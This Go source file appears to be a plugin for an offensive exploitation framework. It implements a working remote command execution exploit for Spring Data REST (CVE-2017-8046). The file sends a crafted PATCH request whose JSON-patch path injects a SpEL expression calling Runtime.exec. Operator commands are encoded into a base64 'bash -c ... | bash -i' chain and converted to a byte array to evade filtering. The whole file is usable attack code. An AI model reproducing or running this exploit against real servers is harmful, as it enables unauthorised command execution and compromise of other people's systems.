package drops

import (
	"context"
	"encoding/base64"
	"fmt"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
	"strconv"
)

type SpringCve20178046 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp SpringCve20178046
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *SpringCve20178046) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "97347282-ad2d-4605-8e9b-6befe276d26e",
		VulId:   "146c2aa0-029e-4622-ba28-d0a81e70c39a",
		Name:    "SpringData_CVE_2017_8046",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *SpringCve20178046) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	newUrl, err := url.Parse(req.GetUrl().String() + `/customers/1`)
	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPatch
	req.RawRequest.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0")
	req.RawRequest.Header.Add("Accept-Encoding", "gzip, deflate")
	req.RawRequest.Header.Add("Content-Type", "application/json-patch+json")
	for _, cmd := range expContext.CommandToExecute {
		res := base64.StdEncoding.EncodeToString([]byte(cmd))
		res = `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
		listCmd := []byte(res)
		stringCmd := ""
		for i := 0; i < len(listCmd); i++ {
			ty := strconv.Itoa(int(listCmd[i]))
			if i < len(listCmd)-1 {
				stringCmd += ty + ","
			} else if i == len(listCmd)-1 {
				stringCmd += ty
			}
		}
		body := `[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{` + stringCmd + `}))/lastname", "value": "vulhub" }]`
		req.SetBody([]byte(body))
		resp, err := expContext.HttpClient.Do(ctx, req)
		if err != nil {
			fmt.Println(err.Error())
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return data, nil
}

func (t *SpringCve20178046) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *SpringCve20178046) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
